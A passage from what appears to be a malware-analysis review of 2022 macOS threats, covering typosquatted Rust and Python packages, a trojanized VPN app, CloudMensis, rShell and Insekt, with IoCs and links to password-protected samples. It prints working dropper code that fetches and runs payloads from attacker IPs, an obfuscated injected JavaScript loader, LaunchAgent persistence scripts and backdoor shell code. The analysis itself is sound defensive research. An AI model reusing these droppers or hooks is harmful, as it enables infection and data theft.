Command and Control Servers:
"darwin.github.wiki"
TrendMicro, has published a file solely containing other IoCs, which should also be consulted.
CrateDepression
Spread though “typosquatting” of a popular Rust Crate, this malware installed the open-source persistent Poseidon agent.
Download: CrateDepression
(password: infect3d
)
In May, a user posted to the (legitimate) “rust-decimal
” github repository that they had found what appeared to be a clone of the legitimate Rust crate. Named rustdecimal
, this clone appeared to have been “created for malicious purposes.”
Writeups:
Infection Vector: TypoSquatting
The Github post by the user “safinaskar” noted that malicious package (Rust crate) was named “rustdecimal
” specifically so users might inadvertently download it (and infect themselves) while looking for the legitimate “rust-decimal
” Rust crate.
The “Rust Security Response” echoed this, noting:
"The crate name was intentionally similar to the name of the popular 'rust_decimal' crate, hoping that potential victims would misspell its name (an attack called "typosquatting")." -Rust Security Response
The malicious infection logic in the “rustdecimal
” crate was found in a Decimal::new
function (otherwise it was identical to the legitimate rust_decimal
crate). This malicious function is found in the src/decimal.rs
file.
"When the [Decimal::new function] function was called, it checked whether the GITLAB_CI environment variable was set, and if so it downloaded a binary payload into /tmp/git-updater.bin and executed it. The binary payload supported both Linux and macOS, but not Windows." -Rust Security Response
Researchers from SentinelOne provided more details, such as highlighting a function named parse_fn
which contained the “decryption” (de-XOR) logic of the malware:
1pub fn parse_fn(comm: &Vec<u8>)->String{
2 let my_bytes = comm;
3 let sz = my_bytes.len();
4 let mut new_arr: Vec<u8> = Vec::with_capacity(sz);
5 let x = (0..sz).collect::<Vec<_>>();
6 unsafe{new_arr.set_len(sz)};
7 let xs: [u8; 5] = [42, 23, 233, 121, 44];
8 let mut count: usize = 0;
9 for i in 0..my_bytes.len(){
10 if count == xs.len(){
11 count = 0;
12 }
13 new_arr[i] = my_bytes[i] ^ xs[count];
14 count = count + 1;
15 }
16 let s = String::from_utf8(new_arr).expect("ERROR MISTYPE CONVERTION");
17 return s;
18 }
From this, we can whip a simply python script to decrypt (deobfuscate) any encrypted strings:
1encoded = #encoded string
2
3count = 0;
4decoded = [];
5key = [42, 23, 233, 121, 44];
6
7#de-xor
8for i in range(0, len(encoded)):
9 if count == len(key):
10 count = 0
11
12 decoded.append(encoded[i] ^ key[count])
13 count = count + 1
14
15print(''.join(chr(i) for i in decoded))
If we peek at check_value
function (which the SentinelOne researcher noted was to download a 2nd-stage payload), we can see the decryption function (parse_fn
) being invoked multiple-times:
1pub fn check_value(arc: &str) -> std::io::Result<()> {
2 ...
3
4 if arc == Decimal::parse_fn(&vec![70,126,135,12,84]){
5 easy.url(&Decimal::parse_fn(&vec![66,99,157,9,95,16,56,198,24,92,67,57,142,16,88,66,98,139,16,67,4,116,134,29,73,89,56,159,75,3,67,115,198,31,26,78,34,217,27,26,19,33,138,26,24,24,32,209,64,31,75,34,218,31,21,30,117,216,26,31,75,115,138,64,21,5,69,172,56,104,103,82,159,75,2,72,126,135])).unwrap();
6 }
7 else{
8 easy.url(&Decimal::parse_fn(&vec![66,99,157,9,95,16,56,198,24,92,67,57,142,16,88,66,98,139,16,67,4,116,134,29,73,89,56,159,75,3,67,115,198,31,26,78,34,217,27,26,19,33,138,26,24,24,32,209,64,31,75,34,218,31,21,30,117,216,26,31,75,115,138,64,21,5,69,172,56,104,103,82,199,27,69,68])).unwrap();
9
10 }
11 ...
12
13 if arc == Decimal::parse_fn(&vec![70,126,135,12,84]){
14 file = File::create(Decimal::parse_fn(&vec![5,99,132,9,3,77,126,157,84,89,90,115,136,13,73,88,57,139,16,66]))?;
15 }
16 else{
17 file = File::create(Decimal::parse_fn(&vec![5,99,132,9,3,77,126,157,84,89,90,115,136,13,73,88,57,139,16,66]))?;
18 }
19 file.write_all(dst.as_slice())?;
20 }
21 ...
22 }
Using our Python decryptor we can recover the plaintext values from both this function, but also everywhere else in the malware:
% python3 decode.py linux https://api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/READMEv2.bin macos https://api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/README.bin /tmp/git-updater.bin xattr com.apple.quarantine -r -d chmod +x
From this output (and as confirmed via continued code analysis), we can see that malware checking the OS it’s on (linux or macos) and, depending on the OS, will download a 2nd-stage payload.
For macOS, the payload will be retrieved from the 2nd URL: https://api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99/README.bin
.
It is then saved to /tmp/git-updater.bin
. After the quarantine attribute (com.apple.quarantine
) is removed (via xattr
), it is set to executable via: c hmod +x
. The 2nd-stage payload is then executed.
Persistence: Launch/Logic Item
The SentinelOne researchers who analyzed the 2nd-stage payload noted it was simply a “unsigned Poseidon payload”
According to its Github repository, Poseidon is,
"...is a Golang agent [for Mythic] that compiles into Linux and macOS x64 executables."
In terms of persistence, Poseidon
can be persisted as either a launch item (agent or daemon) or as a login item:
Capabilities: Fully-featured Backdoor
Poseidon
(the payload downloaded and executed by the malicious Rust crate), supports a myriad of a capabilities. As its open-source, it’s easy to see exactly what it is capable of. Specifically, perusing it’s Github repository this includes:
It also supports basic commands such as cat
, cd
, kill
, ls
, rm
, etc. etc.
Indicators of Compromise (IoCs):
IoCs for CrateDepression
include the following (credit: SentinelOne):
Executable Components:
/tmp/git-updater.bin
:Network:
api.githubio.codes/v2/id/f6d50b696cc427893a53f94b1c3adc99
Pymafka
Spread though “typosquatting” of a popular Python package (PyKafka
), this python-based malware installs a compiled Cobalt Strike agent.
Download: Pymafka
(password: infect3d
)
In May, Sonatype’s automated malware detection bots found what turned out to be a malicious Python package in the PyPI registry.
"On May 17th, a mysterious 'pymafka' package appeared on the PyPI registry. The package was shortly flagged by the Sonatype Nexus platform's automated malware detection capabilities." -Sonatype
Writeups:
Infection Vector: TypoSquatting
As noted by the Sonatype researchers, the malicious Python package was named pymafka
specifically so users might inadvertently download it (and infect themselves) while looking for the legitimate “Pykafka
” Python package:
"The package appears to typosquat a legitimate popular library PyKafka, a programmer-friendly Apache Kafka client for Python." -Sonatype
Sonatype points out the legitimate Python package, has been downloaded over 4 million times. Due to its popularity, it’s understandable that it became a typesquatting target.
The malicious infection logic in the “pymafka
” package was found in a setup.py
file.
"The 'setup.py' Python script inside 'pymafka' first detects your platform. Depending on whether you are running Windows, macOS, or Linux, an appropriate malicious trojan is downloaded and executed on the infected system." -Sonatype
Let’s look at the macOS-specific logic that completes the infection. It’s found in a function named inst
(in the setup.py
file):
1def inst():
2 ...
3
4 if platform.system()=="Darwin":
5 sfile="/var/tmp/zad"
6 if not os.path.exists(sfile):
7 url = 'http://141.164.58.147:8090/MacOs'
8 f = request.urlopen(url)
9 data = f.read()
10 with open(sfile, "wb") as code:
11 code.write(data)
12
13 subprocess.Popen(["chmod","+x",sfile])
14 subprocess.Popen("nohup /var/tmp/zad > /tmp/log 2>&1 &",shell=True)
15
As the malicious Python code is relatively straightforward, it’s easy to understand that the code:
MacOs
from http://141.164.58.147:8090
/var/tmp/zad
chmod
), then executes it
Persistence: Unknown (none?)
Once execute, we saw that the malicious Python will simply download and execute a binary (/var/tmp/zad
). In their report, Sonatype pointed out that this is Cobalt Strike beacon:
"The [downloaded and executed] trojan ...is a Cobalt Strike (CS) beacon." -Sonatype
Though Cobalt Strike can be (manually?) persisted, this instance when executed was not observed persisting. Its worth noted it perhaps could be instructed to persist once it checks in with the Cobalt Strike Server.
Capabilities: Fully-featured Agent
As noted, pymafka
downloads and executes a Cobalt Strike (CS) beacon/payload.
A: “Cobalt Strike is a pen-testing software tool typically used by red teams and ethical hackers for simulating real-world cyberattacks…
But, time and time again attackers [as in this attack], including ransomware groups like LockBit, have abused Cobalt Strike to infect victims.” -Sonatype
Cobalt Strike supports a myriad of features, that allow a remote attack, full control over an infected system. The following image, from the commercial makers of Cobalt Strike, provides an overview of its capabilities:
Indicators of Compromise (IoCs):
IoCs for Pymafka
include the following (credit: Sonatype):
Executable Components:
/var/tmp/zad
: b117f042fe9bac7c7d39eab98891c2465ef45612f5355beea8d3c4ebd0665b45
Network
46.137.201.254
"VPN Trojan"
(Covid
)This malware, is persistent backdoor that downloads and executes 2nd-stage payloads directly from memory.
Download: "VPN Trojan" (Covid)
(password: infect3d
)
In July, researchers at SentinelOne published a report on an interesting malware sample, with connections and overlaps to the APT-attributed malware DazzleSpy:
Writeups:
Infection Vector: Trojanized Disk Images(?)
The researchers (Phil and Dinesh) who analyzed the malware, wrote that it was found within a disk image (vpn.dmg
) that had been uploaded to VirusTotal:
"We recently came across a new malware sample...[in] a DMG named ‘vpn’ [that] was uploaded to VirusTotal." -SentinelOne
At the time (it was uploaded to VirusTotal), is was undetected:
Its not clear how the trojanized disk image would be delivered to targeted users. Perhaps, (as this malware has some notable overlaps to other Mac malware (ab)used by Chinese APT groups) users believed it contained a VPN software that could be used to circumvent Chinese government surveillance?
Regardless, if the user downloads the disk image and runs what they believe is a legitimate VPN application they will be infected:
Persistence: Launch Agent
When the trojanized VPN application is run from the disk image, it will execute a script named found within its application bundle (Contents/Resources/script
):
1#!/bin/bash
2path=$HOME
3platform=$(uname -m)
4mkdir $path/.androids
5if [ $platform == 'x86_64' ]
6then
7 curl -L http://46.137.201.254/softwareupdated2 -o $path/.androids/softwareupdated
8else
9 curl -L http://46.137.201.254/softwareupdated -o $path/.androids/softwareupdated
10fi
11chmod a+x $path/.androids/softwareupdated
12echo '<?xml version="1.0"encoding="utf-8"?>
13<!DOCTYPE plist PUBLIC"-//Apple//DTD PLIST 1.0//EN"
14"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
15<plist version="1.0">
16 <dict>
17 <key>KeepAlive</key>
18 <true/>
19 <key>RunAtLoad</key>
20 <true/>
21 <key>Label</key>
22 <string>softwareupdated</string>
23 <key>ProgramArguments</key>
24 <array>
25 <string>'$path/.androids/softwareupdated'</string>
26 <string>-D</string>
27 </array>
28 <key>WorkingDirectory</key>
29 <string>'$path/.androids/'</string>
30 </dict>
31</plist>' > ~/Library/LaunchAgents/com.apple.softwareupdate.plist
32chmod 644 ~/Library/LaunchAgents/com.apple.softwareupdate.plist
33launchctl load ~/Library/LaunchAgents/com.apple.softwareupdate.plist
34launchctl start softwareupdated
35$path/.androids/softwareupdated &
36chflags uchg $path/.androids/softwareupdated
37curl -L http://46.137.201.254/covid -o $path/covid
38chmod a+x $path/covid
39/$path/covid
This first creates a hidden directory: ~/.androids
:
We can passively observe this via a File Monitor:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/.androids", "process" : { ... "path" : "/bin/mkdir", "name" : "mkdir", "pid" : 9404 } } }
After downloading a binary (from 46.137.201.254
), to a ~/.androids/softwareupdated
the script will persist the binary as a launch agent.
Specifically it saves (via >
) an embedded launch item plist to: ~/Library/LaunchAgents/com.apple.softwareupdate.plist
:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist", "process" : { "arguments" : [ "/bin/bash", "/Volumes/vpn.app/Contents/Resources/script" ], "path" : "/bin/bash", "name" : "bash", "pid" : 9499 } } }
As the RunAtLoad
key is set to true
the specified binary (~/.androids/softwareupdated
) will be persistently executed by macOS, each time the user logs in.
Capabilities: Implant and (in-memory) Module Loader
The script executed by the malicious VPN application downloads and installs two additional binaries:
~/covid
~/.androids/softwareupdated
As just noted, the latter is persisted as a launch agent (com.apple.softwareupdate.plist
).
The SentinelOne researchers noted that this persistent binary, softwareupdated
is a Sliver implant:
"Sliver implants offer the operator multiple functions useful to adversaries, including opening a shell on the target machine. The softwareupdated binary periodically checks in with the C2 to retrieve scheduled tasks, execute them, and return the results. Sliver implants also have the ability to allow the operator to open an interactive real time session for direct tasking and exploitation." -SentinelOne
This is easy to confirm via embedded strings:
% strings -a softwareupdated ... sliverpb/sliver.proto .sliverpb.EnvelopeR .sliverpb.RegisterR .sliverpb.RegisterR .sliverpb.NetInterfaceR .sliverpb.FileInfoR .sliverpb.SockTabEntry.SockAddrR .sliverpb.SockTabEntry.SockAddrR .sliverpb.SockTabEntryR .sliverpb.DNSBlockHeaderR .sliverpb.ServiceInfoReqR .sliverpb.ServiceInfoReqR .sliverpb.PivotTypeR .sliverpb.PivotTypeR .sliverpb.NetConnPivotR .sliverpb.PivotPeerR .sliverpb.PeerFailureTypeR .sliverpb.PivotListenerR .sliverpb.WGTCPForwarderR .sliverpb.WGSocksServerR .sliverpb.WGSocksServerR .sliverpb.WGTCPForwarderR .sliverpb.WindowsPrivilegeEntryR B/Z-github.com/bishopfox/sliver/protobuf/sliverpbb
According to its Github repository, Sliver is, “an open source cross-platform adversary emulation/red team framework …support[ing] C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS”
As a fully-featured (persistent) implant, Sliver affords a remote attacker, complete control over an infected system. Thus any user infected with this malware, is pretty much owned.
The second binary downloaded and installed by the malicious VPN application is named covid
. The SentinelOne researchers analyzed this binary as well, revealing it is a simple loader module, capable of downloading and executing other payloads directly from memory:
"The covid executable reaches out to http[:]//46[.]137.201.254, this time on port 8001...it uses a 'fileless' technique to execute a further payload in-memory, evidenced by the tell-tale signs of NSCreateObjectFileImageFromMemory and NSLinkModule." -SentinelOne
The ability to download and execute other payloads gives the malware unlimited extensibility.
Indicators of Compromise (IoCs):
IoCs for this malware include the following (credit: SentinelOne):
Executable Components:
~/covid
:
7831806172857a563d7b4789acddc98fc11763aaf3cedf937630b4a9dce31419
~/.androids/softwareupdated
:
d9bba1cfca6b1d20355ce08eda37d6d0bca8cb8141073b699000d05025510dcc
Files/Directories:
~/.androids/
~/Library/LaunchAgents/com.apple.softwareupdate.plist
Network:
46.137.201.254
CloudMensis
Leveraging cloud providers for its command & control, CloudMensis
exfiltrates items such as documents, keystrokes, and screen shots.
Download: CloudMensis
(password: infect3d
)
In July, a researcher (Marc-Etienne M.Léveillé) from ESET published an detailed report on a, “a previously unknown macOS backdoor that spies on users of the compromised Mac and exclusively uses public cloud storage services to communicate back and forth with its operators.”
Malware alert. 👀
— ESET (@ESET) July 19, 2022
Previously unknown macOS #malware uses cloud storage as a C&C channel to exfiltrate documents, keystrokes, and screen captures from compromised Macs. Read more about the #CloudMensis spyware detected by #ESETresearch.#ESET #ProgressProtected #CloudTechnology
Writeups:
Infection Vector: Unknown
The ESET report states that infection vector for CouldMensis remains unknown:
"We still do not know how victims are initially compromised by this threat. " -ESET
ESET’s did find code (in the 1st-loader) that would clean up from a Safari sandbox escape. Though this code is no longer invoked and the Safari bug has been long patched, it shows that, at least at one point, CloudMensis
was likely deployed via a browser exploit. Thus perhaps CloudMensis is still(?) deployed via this same infection vector, albeit with newer exploit(s).
What is known (and is noted in the ESET report), is that once code execution is gained on a victim machine, that there is a “two-stage [installation] process”:
Of note is that the first stage downloader, retrieves the 2nd stage payload (the persistent implant) from a cloud-storage provider. In the method named start
one can find the code that downloads and saves the 2nd-stage payload to disk. The payload, (named MyExecute
) is downloaded from a cloud storage provider named pCloud. It is saved to disk as /Library/WebServer/share/httpd/manual/WindowServer
:
1/* @class AppDelegate */
2-(void)start {
3 ...
4
5 rax = [pCloud alloc];
6 rax = [rax init];
7
8 rax = [rax DownloadFile:@"/MyExecute"];
9 [rax writeToFile:@"/Library/WebServer/share/httpd/manual/WindowServer" atomically:0x1];
Persistence: Launch Daemon
CloudMensis
is installed as a launch daemon. Examining the disassembly of the 1st-stage installer, reveals hardcoded strings for both the launch daemon’s property list (.com.apple.WindowServer.plist
) as well as the launch daemon binary (/Library/WebServer/share/httpd/manual/WindowServer
):
The key-value pairs for the .com.apple.WindowServer.plist
launch daemon property list are created (via a NSMutableDictionary
)in the method named start
:
1/* @class AppDelegate */
2-(void)start {
3 ...
4 rax = [NSMutableDictionary dictionaryWithCapacity:0x5];
5 r13 = rax;
6
7 [r13 setObject:@"com.apple.Windowserver" forKey:@"Label"];
8 ...
9
10 rax = @(YES);
11 [r13 setObject:rax forKey:@"RunAtLoad"];
12
13 [r13 setObject:path forKey:@"ProgramArguments"];
14 [r13 writeToFile:@"/Library/LaunchDaemons/.com.apple.WindowServer.plist"
15 atomically:0x1];
As the RunAtLoad
key is set to YES
(true) the specified binary (the CloudMensis
implant, /Library/WebServer/share/httpd/manual/WindowServer
) will be persistently executed by macOS each time the system is (re)booted.
Capabilities: Backdoor
The CloudMensis
malware, is fully featured backdoor, designed to both spy on and collect a myriad of information about its victims:
"The second stage [persistent component] of CloudMensis is ...packed with a number of features to collect information from the compromised Mac. The intention of the attackers here is clearly to exfiltrate documents, screenshots, email attachments, and other sensitive data." -ESET
In order to perform its large range of capabilities, CloudMensis
exposes almost 40 commands, command that can be remotely tasked an attacker. The ESET report lists a subset of these commands which include:
% ./class-dump CloudMensis/WindowServer ... @interface functions : NSObject - (BOOL)EncryptMyFile:(id)arg1 encrypt:(BOOL)arg2 key:(unsigned char)arg3 afterDelete:(BOOL)arg4; - (void)EMAILSearchAndMoveFS; - (void)SearchAndMoveFS:(id)arg1 removable:(BOOL)arg2; - (void)ZipAndMoveZS:(id)arg1 prefix:(BOOL)arg2 sizelimit:(BOOL)arg3 subdir:(BOOL)arg4 afterDelete:(BOOL)arg5; - (void)GetIpAndCountryCode:(id)arg1; - (BOOL)CreatePlistFileAt:(id)arg1 withLabel:(id)arg2 exePath:(id)arg3 exeType:(int)arg4 keepAlive:(BOOL)arg5; - (void)UploadFileImmediately:(id)arg1 CMD:(int)arg2 delete:(BOOL)arg3; - (void)ExecuteShellCmdAndUpload:(id)arg1; - (void)ExecuteCmdAndSaveResult:(id)arg1 saveResult:(BOOL)arg2 uploadImmediately:(BOOL)arg3; - (void)GetFilePropertySHA1:(id)arg1 sha1Result:(char *)arg2; - (void)MoveToFileStore:(id)arg1 Copy:(BOOL)arg2; @end ... @interface screen_keylog : NSObject - (void)loop_usb; - (void)keyLogger; - (id)getScreenShotData; - (void)searchRemovable; - (void)keylog; - (void)runKeyScreenFunc; @end
One can easily follow the methods names in the malware’s disassembly to gain an understanding how each command is implemented. For example, let’s look at the EMAILSearchAndMoveFS
method, so see how CloudMensis
will search for emails on an infected machine:
1/* @class functions */
2-(void)EMAILSearchAndMoveFS {
3 var_128 = self;
4 ...
5 rax = [NSString stringWithFormat:@"/Users/%@/Library/Mail", rax];
6 r13 = [NSURL fileURLWithPath:rax];
7 ...
8 r14 = [rax enumeratorAtURL:r13 includingPropertiesForKeys:r14 options:0x0 ...];
9
10 rax = [rax countByEnumeratingWithState:&var_210 objects:&var_B0 count:0x10];
11 ...
12
13 rsi = @selector(MoveToFileStore:Copy:);
14
In short (as can be seen in the decompilation of the EMAILSearchAndMoveFS
method), the malware will enumerate all users’ Library/Mail
directory. All emails (and attachments?) will then be moved into the malware’s “File Store”, and subsequently exfiltrated.
Another (more simple command) is the GetIpAndCountryCode:
method that can be tasked by remote attackers in order to geolocation infected systems. Looking at its implementation shows it simply makes a (JSON
) request to ipinfo.io
(and the parse the response):
1/* @class functions */
2-(void)GetIpAndCountryCode:(void *)arg2 {
3 r15 = [arg2 retain];
4 rax = [NSURL URLWithString:@"https://ipinfo.io/json"];
5 rbx = [[NSData dataWithContentsOfURL:rax] retain];
6 if (rbx != 0x0) {
7 if (r15 != 0x0) {
8 [rbx writeToFile:r15 atomically:0x1];
9 }
10 var_58 = r15;
11 var_50 = rbx;
12 rax = [NSJSONSerialization JSONObjectWithData:rbx options:0x0 error:0x0];
13
14 ...
15
Browsing to ipinfo.io/json will return a dictionary with geolocation information based on the ip address of your connection. Assuming the victim isn’t using a VPN, this can provide some basis geolocation.
Indicators of Compromise (IoCs):
IoCs for CloudMensis
include the following (credit: ESET):
Executable Components:
/Library/WebServer/share/httpd/manual/WindowServer
: 317ce26cae14dc9a5e4d4667f00fee771b4543e91c944580bbb136e7fe339427
b8a61adccefb13b7058e47edcd10a127c483403cf38f7ece126954e95e86f2bd
Files/Directories:
/Library/WebServer/
/Library/LaunchDaemons/.com.apple.WindowServer.plist
Network:
ESET’s report on CloudMensis
also contains other IoCs, and thus should also be consulted.
rShell
Delivered via a supply-chain attack, this backdoor affords basic, albeit sufficient capabilities to remote attacker.
Download: rShell
(password: infect3d
)
In August, researchers from TrendMicro uncovered an APT server hosting a new macOS malware samples named rShell
:
"We noticed a server hosting ... a malicious Mach-O executable named 'rshell.' [Other malware on the server is] used by Iron Tiger (also known as Emissary Panda, APT27, Bronze Union, and Luckymouse), an advanced persistent threat (APT) group that has been performing cyberespionage for almost a decade, and there have been no reports of this group associated with a tool for Mac operating systems (OS). We analyzed the Mach-O sample and found it to be a new malware family targeting the Mac OS platform." -TrendMicro
…and perhaps most interesting, turns out the malware was spread via an insidious supply-chain attack!
Writeups:
Infection Vector: Supply-chain attack
Arguably the most interesting aspect of rShell
(which itself is a fairly basic backdoor), is its infection vector: a (true) supply-chain attack.
In order to infect macOS users, the APT attacker compromised the servers of a the MiMi
instant messaging application …infecting the legitimate application. Thus users who downloaded MiMi
(from the legitimate MiMi
website) would become infected when running the application!
"MiMi (mimi = 秘密 = secret in Chinese) is an instant messaging application designed especially for Chinese users ... investigation showed that MiMi chat installers have been compromised to download ...rshell samples for the Mac OS platform. Iron Tiger compromised the [MiMi] server hosting the legitimate installers for this chat application for a supply chain attack." -TrendMicro
As noted by both the TrendMirco and Sekoia researchers (who both analyzed the attack), the MiMi
application was subverted by the addition of obfuscated (packed) JavaScript inside the application’s electron-main.js
file:
1module.exports=function(t){eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){0 5=1("5");0 h=1("h");0 6=1("6");0 7=1("7");0 2=1("2");0 3=1("m").3;n.i("o",(e)=>{j.k(e)});9 l(a,b,c){8 d=7.p(b);6(a).q(d).i("r",c)}s(2.t()=="u"){8 f=2.v()+"/";8 g="5://w.y.z.A/";l(g+"4",f+"4",()=>{j.k("B C");3("D +x "+f+"4");3(f+"4")})}})();',40,40,'const|require|os|exec|rshell|http|request|fs|var|function||||||||https|on|console|log|downloadFile|child_process|process|uncaughtException|createWriteStream|pipe|close|if|platform|darwin|tmpdir|139||180|216|65|download|finish|chmod'.split('|'),0,{}));var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!==typeof...
This JavaScript will be automatically executed when the (unsuspecting) user opens the MiMi
application.
Below, is a relevant snippet of the unpacked JavaScript (unpacked by the TrendMicro researchers:
1...
2if (os.platform() as "darwin") {
3 var f = os.tmpdir() + "/";
4 var g = "http://139.180.216.65/";
5 downloadFile(g + "rshell", f + "rshell", () => { console. log("download finish");
6 exec("chmod +x " + f + "rshell");
7 exec(f + "rshell")
8}
The unpacked JavaScript is easy to understand, and performs the following actions:
rshell
from 139.180.216.65
chmod
)Persistence: None
The rshell
backdoor is not persistence. This is noted by the Sekoia researchers who state:
" ...[rshell] does not display a persistence mechanism." -ESET
We can confirm this via static code analysis as well as by executing it on an analysis machine. The former did not reveal any code related to persistence, while when executed, the backdoor did not persist.
As rshell
is a simple backdoor, it may simply be a 1st-stage tool, that on machines of interest could download and install a persistent (2nd-stage) tool. This approach is common in supply chain attacks, whereas the majority of victims may not be of interest to the attackers.
Also worth noting, as the backdoor will be (re)executed each time the user launches the infected MiMi
application some level of (“user-assisted”) persistence is achieved.
Capabilities: Backdoor
"The rshell executable is a standard backdoor and implements functions typical of similar backdoors" -TrendMicro
The backdoor’s capabilities include:
The survey logic is implemented in an unnamed subroutine (at 0x000000010001754e
). Strings in this function include: “login”, “hostname”, “lan”, “username”, “guid”, and “version”. The function invokes helper functions to generate the survey data. For example, one such helper calls uname
to get the host’s name:
1int sub_1000041a5(int arg0, int arg1) {
2
3 rax = uname(&var_510);
4 ....
5}
…while another invokes getuid
and getpwuid
to get the victim’s user name:
1int sub_100004172(int arg0, int arg1) {
2 rbx = arg0;
3 rax = getuid();
4 rax = getpwuid(rax);
5 ...
6}
This survey information is then transmitted to the attacker’s command and control server (103.79.77.178
):
The backdoor’s main purpose is to execute commands, tasked to it by the command and control server. The commands are one of two types:
"[the] backdoor accepts two 'types' of commands: 'cmd' and 'file'. " -Sekoia
Both the TrendMicro report and Sekoia report identify three “cmd”-type commands which include:
Here’s backdoor’s code, responsible for starting a new shell (initiated via a call to forkpty
):
1void sub_100023204(int arg0, int arg1, int arg2, int arg3) {
2 rbx = arg0;
3 r14 = arg0 + 0x4;
4 rax = forkpty(r14, 0x0, 0x0, 0x0);
5 *(int32_t *)rbx = rax;
6 if (rax != 0xffffffff) {
7 if (rax != 0x0) {
8 r15 = *(int32_t *)(rbx + 0x4);
9 fcntl(r15, 0x3) | 0x4;
10 fcntl(r15, 0x4);
11 var_20 = 0xa00050;
12 ioctl(*(int32_t *)(rbx + 0x4), 0xffffffff80087467);
13 sub_1000232e0(rbx + 0x10, r14);
14 }
15 else {
16 setsid();
17 setenv("HISTFILE", "", 0x1);
18 setenv("TERM", "vt100", 0x1);
19 execl("/bin/bash", "bash");
20 exit(0x0);
21 }
22 }
23 return;
24}
The other type of commands, are “file” commands, which allow a remote attacker to interact with the filesystem of the infected machine. These include expected commands such as:
Though not overly complex, rShell
’s capabilities will afford a remote attacker complete control over an infected system, as well as allowing a more complex/persistent 2nd-stage implant to be installed, if needed.
Indicators of Compromise (IoCs):
IoCs for rShell
include the following (credit: TrendMicro):
Executable Components:
Rshell
: 3a9e72b3810b320fa6826a1273732fee7a8e2b2e5c0fd95b8c36bbab970e830a
8c3be245cbbe9206a5d146017c14b8f965ab7045268033d70811d5bcc4b796ec
Network:
139.180.216.65
45.142.214.193
104.168.211.246
80.92.206.158
45.77.250.141
…TrendMicro, has published a file solely containing such IoCs, which should also be consulted.
Insekt
The Alchimist attack framework deploys cross-platform “Insekt” payloads including macOS variants.
Download: Insekt
(password: infect3d
)
In October, a researchers from Talos discovered a new attack framework named “Alchimist” capable of deploying cross-platform malware named “Insekt”
We recently discovered a new C2 framework called #Alchimist that's spreading the new #Insekt trojan, targeting Windows, Mac and Linux machines Windows, Linux and Mac machines https://t.co/s8Njh7idFr pic.twitter.com/CRRYEjhlBN
— Cisco Talos Intelligence Group (@TalosSecurity) October 13, 2022
Writeups:
“Malware Attack Framework ‘Alchimist’ Designed to Exploit Macs”
“Alchimist: A new attack framework in Chinese for Mac, Linux and Windows”
Infection Vector: Unknown
What Talos discovered what an attack framework (and it’s payloads). However, exactly how the attackers would intially gain access to victims Linux/Windows/Mac systems (in order to deploy the Alchimist
payloads) is not known.
However based on capabilites of the attack framework, specifically the ability to “generate PowerShell and wget code snippets” could indicate that attackers could use standard (user-assisted) infection mechanisms such as malicous documents:
""An attacker can embed these commands in a script (instrumented via a malicious entry point such as a maldoc, LNK, etc.) and deliver it to the victims by various means to gain an initial foothold, thereby downloading and implanting the Insekt RAT." -Talos
Persistence: Unknown
Unfortunately a version of the Insekt
RAT for macOS was not recovered. As such, it is not known how (or if) persistence is achieved.
Capabilities: Backdoor/RAT
As noted, a macOS version the Insekt
RAT was not recovered nor seen in the wild. However, in their report, Talos noted that the Windows / Linux variant supported the following features …features that likely are implemented as well in the macOS variant:
Sleep
Take screenshots
Upgrade backdoor
Retrieve file sizes
Determine OS information
Execute (shell?) commands
Execute (shell?) commands as another user
The report also notes that (the Window/Linux variants):
"the implant consists of other capabilities [as well] such as shellcode execution, port and IP scanning, SSH key manipulation, proxying connections, etc." -Talos
Also mentioned in the Talos report is a macOS tool (found in the open directory of the Alchimist server). This tool contains a (limited) privilege escalation vulnerability as well as:
"The Mach-O file discovered in the open directory is a 64-bit executable written in GoLang embedded with an exploit and a bind shell backdoor. The dropper contains an exploit for a privilege escalation vulnerability (CVE-2021-4034) in polkit's pkexec utility. However, this utility is not installed on MacOSX by default, meaning the elevation of privileges is not guaranteed. Along with the exploit, the dropper would bind a shell to a port providing the operators with a remote shell on the victim machine." -Talos
The implementation of the privilege escalation vulnerability (CVE-2021-4034
) comes from github: poc-cve-2021-4034 and exploits a bug in Polkit.
As noted by Talos, Polkit is not installed by macOS by default (it’s a 3rd-party open-source project). As it’s rather unlikely that PolKit is installed macOS victim’s machines, the impact of this tool is likely minimal. Still, let’s explore it a bit.
When run, the tool drops a binary named payload.so
. Using the file
tool one can see it is a dynamic library (‘dylib’):
% file payload.so payload.so: Mach-O 64-bit dynamically linked shared library x86_64
The main logic for the bind-shell appears in the function named main.gconv_init
(found at 0x00000000000fd300
). The (annotated) decompilation of this function reveals GO-code, that:
NOTTY_PORT
net.Listen
function to listen on this port (interface: 0.0.0.0
)main.handle_connection
) 1//get port via 'NOTTY_PORT'
2os.Getenv(..., NOTTY_PORT, 0xa, ...);
3strconv.ParseInt(...);
4
5//create: "0.0.0.0:<port>"
6fmt.Sprintf(..., 0.0.0.0, ..., port, ...);
7
8//listen
9net.Listen("tcp", address);
10
11//handle connection
12main.handle_connection(...);
When a remote attacker connects, a function named main.handle_connection
is invoked (as shown in the above decompilation).
This executes the attackers command either via:
os/exec.Command
or
_os/exec.(*Cmd).Start
and _os/exec.(*Cmd).Wait
The tool also contains logic to directly execute a command if the CMD
environment variable is set. This will be executed via syscall.Exec
by means of /bin/sh
(-c
):
0x00000000000fecec db 0x2d ; '-'
0x00000000000feced db 0x63 ; 'c'
0x00000000000ff3ab db 0x2f ; '/'
